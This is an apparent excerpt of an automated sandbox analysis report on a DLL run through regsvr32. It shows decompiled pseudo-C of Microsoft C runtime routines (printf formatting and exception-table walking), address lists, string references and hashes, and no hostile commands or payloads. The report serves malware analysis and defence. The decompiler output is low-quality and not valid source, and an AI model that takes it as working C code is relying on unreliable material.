				E000007FE7FEF9D2EA30(_a16, _a40);
				_v72 = _t161;
				_v64 = _v64 + 1;
				_v72 = _v72 + 0x14;
				if (_v64 - _v60 >= 0) goto 0xf9d34cc6;
				if (_a48 -  *_v72 < 0) goto 0xf9d34c2b;
				_t165 = _v72;
				if (_a48 -  *((intOrPtr*)(_t165 + 4)) > 0) goto 0xf9d34c2b;
				_t117 = E000007FE7FEF9D2E680( *((intOrPtr*)(_t165 + 4)), _t165);
				_t166 = _t165 +  *((intOrPtr*)(_v72 + 0x10));
				if ( *((intOrPtr*)(_t166 + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14)) == 0) goto 0xf9d34b53;
				_t118 = E000007FE7FEF9D2E680(_t117, _t166);
				_v48 = _t166;
				_t119 = E000007FE7FEF9D2E680(_t118, _t166);
				_t169 = _v48 +  *((intOrPtr*)(_t166 +  *((intOrPtr*)(_v72 + 0x10)) + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14));
				_v40 = _t169;
				goto 0xf9d34b5f;
				_v40 = 0;
				if (_v40 == 0) goto 0xf9d34bff;
				_t120 = E000007FE7FEF9D2E680(_t119, _t169);
				_t170 = _t169 +  *((intOrPtr*)(_v72 + 0x10));
				if ( *((intOrPtr*)(_t170 + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14)) == 0) goto 0xf9d34be3;
				_t121 = E000007FE7FEF9D2E680(_t120, _t170);
				_v32 = _t170;
				E000007FE7FEF9D2E680(_t121, _t170);
				_v24 = _v32 +  *((intOrPtr*)(_t170 +  *((intOrPtr*)(_v72 + 0x10)) + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14));
				goto 0xf9d34bef;
				_v24 = 0;
				_t174 = _v24;
				if ( *((char*)(_t174 + 0x10)) != 0) goto 0xf9d34c2b;
				E000007FE7FEF9D2E680( *((char*)(_t174 + 0x10)), _t174);
				if (( *(_t174 +  *((intOrPtr*)(_v72 + 0x10)) + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14) & 0x00000040) == 0) goto 0xf9d34c30;
				goto L1;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_v72 =  *((intOrPtr*)(_v72 + 0x10));
				__rax = __rax +  *((intOrPtr*)(_v72 + 0x10));
				_v72 =  *((intOrPtr*)(_v72 + 0xc)) - 1;
				__rcx = ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14;
				__rax = __rax + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14;
				__eflags = __rax;
				_v80 = 0;
				_v88 = 1;
				__rcx = _a64;
				_v96 = _a64;
				_v104 = _a56;
				__rcx = _v72;
				_v112 = _v72;
				_v120 = 0;
				_v128 = __rax;
				__rax = _a40;
				_v136 = _a40;
				__r9 = _a32;
				__r8 = _a24;
				__rdx = _a16;
				__rcx = _a8;
				__eax = E000007FE7FEF9D35180(__edi, __esi, __esp, __eflags, _a8, _a16, _a24, _a32);
				goto L1;
				return __eax;
			}

0x7fef9d34960
0x7fef9d34965
0x7fef9d3496a
0x7fef9d3496f
0x7fef9d3497b
0x7fef9d34989
0x7fef9d3498b
0x7fef9d34990
0x7fef9d3499d
0x7fef9d349a3
0x7fef9d349a8
0x7fef9d349ad
0x7fef9d349be
0x7fef9d349ce
0x7fef9d349de
0x7fef9d349e8
0x7fef9d349f4
0x7fef9d34a00
0x7fef9d34a2c
0x7fef9d34a2e
0x7fef9d34a3f
0x7fef9d34a41
0x7fef9d34a43
0x7fef9d34a50
0x7fef9d34a5a
0x7fef9d34a5f
0x7fef9d34a64
0x7fef9d34a69
0x7fef9d34a71
0x7fef9d34a89
0x7fef9d34a8e
0x7fef9d34a9b
0x7fef9d34aa8
0x7fef9d34ab5
0x7fef9d34ac9
0x7fef9d34acf
0x7fef9d34ade
0x7fef9d34ae4
0x7fef9d34af2
0x7fef9d34b0b
0x7fef9d34b0d
0x7fef9d34b12
0x7fef9d34b17
0x7fef9d34b46
0x7fef9d34b49
0x7fef9d34b51
0x7fef9d34b53
0x7fef9d34b68
0x7fef9d34b6e
0x7fef9d34b7c
0x7fef9d34b95
0x7fef9d34b97
0x7fef9d34b9c
0x7fef9d34ba4
0x7fef9d34bd9
0x7fef9d34be1
0x7fef9d34be3
0x7fef9d34bef
0x7fef9d34bfd
0x7fef9d34bff
0x7fef9d34c29
0x7fef9d34c2b
0x7fef9d34c30
0x7fef9d34c3a
0x7fef9d34c3e
0x7fef9d34c4b
0x7fef9d34c4e
0x7fef9d34c52
0x7fef9d34c52
0x7fef9d34c55
0x7fef9d34c5a
0x7fef9d34c5f
0x7fef9d34c67
0x7fef9d34c73
0x7fef9d34c77
0x7fef9d34c7c
0x7fef9d34c81
0x7fef9d34c8a
0x7fef9d34c8f
0x7fef9d34c97
0x7fef9d34c9c
0x7fef9d34ca4
0x7fef9d34cac
0x7fef9d34cb4
0x7fef9d34cbc
0x7fef9d34cc1
0x7fef9d34ccd

Strings

RCC, xrefs: 000007FEF9D349D8
MOC, xrefs: 000007FEF9D349C8

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: MOC$RCC
API String ID: 0-2084237596
Opcode ID: ff3899ab70367f580fbe79aa5854b52896b6d0a2cba9891fdbb3d09f9aae126f
Instruction ID: 969568d65f9d334bdbb71439fdfa9ac9293f65c07e2bfce327525da45f7ede8f
Opcode Fuzzy Hash: ff3899ab70367f580fbe79aa5854b52896b6d0a2cba9891fdbb3d09f9aae126f
Instruction Fuzzy Hash: FA91193260DB8582DAA4DB55E49077EB3A0F7C4785F214526EACE83BA9CF3DE041CB50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C6F8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E000007FE7FEF9D3C6F8(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t217;
				signed char _t222;
				intOrPtr _t257;
				signed int _t332;
				signed int _t333;
				signed long long _t336;
				intOrPtr* _t359;
				signed long long _t384;

				_t332 = __rax;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a708 = 7;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t332;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t332;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t333 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t336 = _a824;
				_a832 = _t336;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t336;
				if (_a116 >= 0) goto 0xf9d3c8d8;
				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t217 = _a116;
				_a116 = _a116 - 1;
				if (_t217 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t217 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t222 = _a816 + _a708;
				_a816 = _t222;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t222;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t257 = _a1060;
				_a876 = _t257;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t359 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t359;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t257 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t359 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t384, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c6f8
0x7fef9d3c6f8
0x7fef9d3c704
0x7fef9d3c70c
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C

Strings

0, xrefs: 000007FEF9D3C739
9, xrefs: 000007FEF9D3C98F

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: 0$9
API String ID: 1967237116-1975997740
Opcode ID: aed7fbe3ab945623e5c36a128674cf35c8ffbba07ad38133e4628ccf625e54aa
Instruction ID: c0a57250e5e6ff09cb8cd0b3e72d4402f8dee1629557039505579d47a847bcbd
Opcode Fuzzy Hash: aed7fbe3ab945623e5c36a128674cf35c8ffbba07ad38133e4628ccf625e54aa
Instruction Fuzzy Hash: 1E41C87660DAC187E7B58B19E8917AEB7E4F385791F100125EBC886B98DBBDD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E70C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E000007FE7FEF9D3E70C(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, short _a86, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a1200, signed short _a1212, intOrPtr _a1216, intOrPtr _a1220, signed char _a1296, signed int _a1304, signed int _a1312, intOrPtr _a1320, long long _a1328, signed char _a1336, intOrPtr _a1340, intOrPtr _a1344, intOrPtr _a1376, intOrPtr _a1380, signed int _a1480, long long _a1488, long long _a1496, long long _a1504, signed int _a1512, intOrPtr _a1536, char _a1560) {
				signed int _t213;
				signed char _t218;
				void* _t249;
				intOrPtr _t257;
				signed int _t331;
				signed int _t332;
				signed long long _t335;
				intOrPtr* _t354;
				intOrPtr* _t359;
				signed long long _t389;

				_t331 = __rax;
				_a1220 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e74d;
				_a84 = 0x30;
				_a86 = _a1220 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e770;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3e797;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t331;
				goto 0xf9d3e844;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3e7be;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t331;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3e809;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e7ef;
				_t332 = E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e807;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e82d;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e844;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e87b;
				if (_a1304 >= 0) goto 0xf9d3e87b;
				_a1312 =  ~_a1304;
				asm("bts eax, 0x8");
				goto 0xf9d3e88b;
				_t335 = _a1304;
				_a1312 = _t335;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3e8c0;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3e8c0;
				_a1312 = _a1312 & _t335;
				if (_a116 >= 0) goto 0xf9d3e8d1;
				_a116 = 1;
				goto 0xf9d3e8ee;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3e8ee;
				_a116 = 0x200;
				if (_a1312 != 0) goto 0xf9d3e901;
				_a92 = 0;
				_a64 =  &_a687;
				_t213 = _a116;
				_a116 = _a116 - 1;
				if (_t213 > 0) goto 0xf9d3e92f;
				if (_a1312 == 0) goto 0xf9d3e9cc;
				_a1480 = _a72;
				_a1296 = _t213 / _a1480 + 0x30;
				_a1488 = _a72;
				if (_a1296 - 0x39 <= 0) goto 0xf9d3e9ab;
				_t218 = _a1296 + _a1220;
				_a1296 = _t218;
				 *_a64 = _a1296 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3e90e;
				_a104 = _t218;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ea2a;
				if (_a104 == 0) goto 0xf9d3ea0b;
				if ( *_a64 == 0x30) goto 0xf9d3ea2a;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ea9d;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ea61;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ea80;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ea9d;
				_a84 = 0x20;
				_a92 = 1;
				_a1320 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3eadf;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				E000007FE7FEF9D3EF10(_a92, _a64,  &_a84, _a1536,  &_a1200);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3eb33;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3eb33;
				E000007FE7FEF9D3EEC0(0x30, _a1320, _a1536,  &_a1200);
				if (_a76 != 0) goto 0xf9d3ec29;
				if (_a104 <= 0) goto 0xf9d3ec29;
				_t354 = _a64;
				_a1328 = _t354;
				_a1336 = _a104;
				_a1336 = _a1336 - 1;
				if (_a1336 <= 0) goto 0xf9d3ec27;
				_t249 = E000007FE7FEF9D26840(_a1336,  &_a120);
				_a1496 = _t354;
				E000007FE7FEF9D26840(_t249,  &_a120);
				_a1340 = E000007FE7FEF9D3F000( &_a1212, _a1328,  *((intOrPtr*)( *_t354 + 0x10c)), _a1496);
				if (_a1340 > 0) goto 0xf9d3ebe7;
				_a1200 = 0xffffffff;
				goto 0xf9d3ec27;
				E000007FE7FEF9D3EE40(_a1212 & 0x0000ffff, _a1536,  &_a1200);
				_a1328 = _a1328 + _a1340;
				goto 0xf9d3eb61;
				goto 0xf9d3ec47;
				E000007FE7FEF9D3EF10(_a104, _a1328 + _a1340, _a64, _a1536,  &_a1200);
				if (_a1200 < 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3ec7c;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				if (_a96 == 0) goto 0xf9d3ec9c;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3da75;
				if (_a1216 == 0) goto 0xf9d3ecc2;
				if (_a1216 == 7) goto 0xf9d3ecc2;
				_a1504 = 0;
				goto 0xf9d3eccd;
				_a1504 = 1;
				_t257 = _a1504;
				_a1344 = _t257;
				if (_a1344 != 0) goto 0xf9d3ed13;
				_t359 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t359;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t257 != 1) goto 0xf9d3ed13;
				asm("int3");
				if (_a1344 != 0) goto 0xf9d3ed6f;
				0xf9d2ab30();
				 *_t359 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a1376 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3ed8e;
				_a1380 = _a1200;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a1380, 2, 2, _a1512 ^ _t389, L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3e70c
0x7fef9d3e70c
0x7fef9d3e717
0x7fef9d3e72a
0x7fef9d3e731
0x7fef9d3e740
0x7fef9d3e745
0x7fef9d3e74f
0x7fef9d3e762
0x7fef9d3e768
0x7fef9d3e77b
0x7fef9d3e785
0x7fef9d3e78a
0x7fef9d3e792
0x7fef9d3e7a2
0x7fef9d3e7ac
0x7fef9d3e7b1
0x7fef9d3e7b9
0x7fef9d3e7c7
0x7fef9d3e7d2
0x7fef9d3e7e1
0x7fef9d3e7e5
0x7fef9d3e7ed
0x7fef9d3e7f7
0x7fef9d3e7ff
0x7fef9d3e807
0x7fef9d3e812
0x7fef9d3e81c
0x7fef9d3e823
0x7fef9d3e82b
0x7fef9d3e835
0x7fef9d3e83c
0x7fef9d3e84d
0x7fef9d3e858
0x7fef9d3e865
0x7fef9d3e871
0x7fef9d3e879
0x7fef9d3e87b
0x7fef9d3e883
0x7fef9d3e896
0x7fef9d3e8a3
0x7fef9d3e8b8
0x7fef9d3e8c5
0x7fef9d3e8c7
0x7fef9d3e8cf
0x7fef9d3e8d8
0x7fef9d3e8e4
0x7fef9d3e8e6
0x7fef9d3e8f7
0x7fef9d3e8f9
0x7fef9d3e909
0x7fef9d3e90e
0x7fef9d3e918
0x7fef9d3e91e
0x7fef9d3e929
0x7fef9d3e934
0x7fef9d3e957
0x7fef9d3e963
0x7fef9d3e990
0x7fef9d3e9a2
0x7fef9d3e9a4
0x7fef9d3e9b8
0x7fef9d3e9c2
0x7fef9d3e9c7
0x7fef9d3e9d9
0x7fef9d3e9e5
0x7fef9d3e9f5
0x7fef9d3e9fc
0x7fef9d3ea09
0x7fef9d3ea13
0x7fef9d3ea1d
0x7fef9d3ea26
0x7fef9d3ea2f
0x7fef9d3ea3e
0x7fef9d3ea4b
0x7fef9d3ea52
0x7fef9d3ea57
0x7fef9d3ea5f
0x7fef9d3ea6a
0x7fef9d3ea71
0x7fef9d3ea76
0x7fef9d3ea7e
0x7fef9d3ea89
0x7fef9d3ea90
0x7fef9d3ea95
0x7fef9d3eaad
0x7fef9d3eabd
0x7fef9d3eada
0x7fef9d3eaf8
0x7fef9d3eb06
0x7fef9d3eb11
0x7fef9d3eb2e
0x7fef9d3eb38
0x7fef9d3eb43
0x7fef9d3eb49
0x7fef9d3eb4e
0x7fef9d3eb5a
0x7fef9d3eb71
0x7fef9d3eb7a
0x7fef9d3eb85
0x7fef9d3eb8a
0x7fef9d3eb97
0x7fef9d3ebc9
0x7fef9d3ebd8
0x7fef9d3ebda
0x7fef9d3ebe5
0x7fef9d3ebff
0x7fef9d3ec1a
0x7fef9d3ec22
0x7fef9d3ec27
0x7fef9d3ec42
0x7fef9d3ec4f
0x7fef9d3ec5a
0x7fef9d3ec77
0x7fef9d3ec82
0x7fef9d3ec8e
0x7fef9d3ec93
0x7fef9d3ec9c
0x7fef9d3eca9
0x7fef9d3ecb3
0x7fef9d3ecb5
0x7fef9d3ecc0
0x7fef9d3ecc2
0x7fef9d3eccd
0x7fef9d3ecd4
0x7fef9d3ece3
0x7fef9d3ece5
0x7fef9d3ecec
0x7fef9d3ecf1
0x7fef9d3ecf4
0x7fef9d3ed06
0x7fef9d3ed0e
0x7fef9d3ed10
0x7fef9d3ed1b
0x7fef9d3ed1d
0x7fef9d3ed22
0x7fef9d3ed28
0x7fef9d3ed31
0x7fef9d3ed4c
0x7fef9d3ed51
0x7fef9d3ed61
0x7fef9d3ed6d
0x7fef9d3ed76
0x7fef9d3ed82
0x7fef9d3eda5

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E785

Strings

9, xrefs: 000007FEF9D3E988
', xrefs: 000007FEF9D3E70C

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
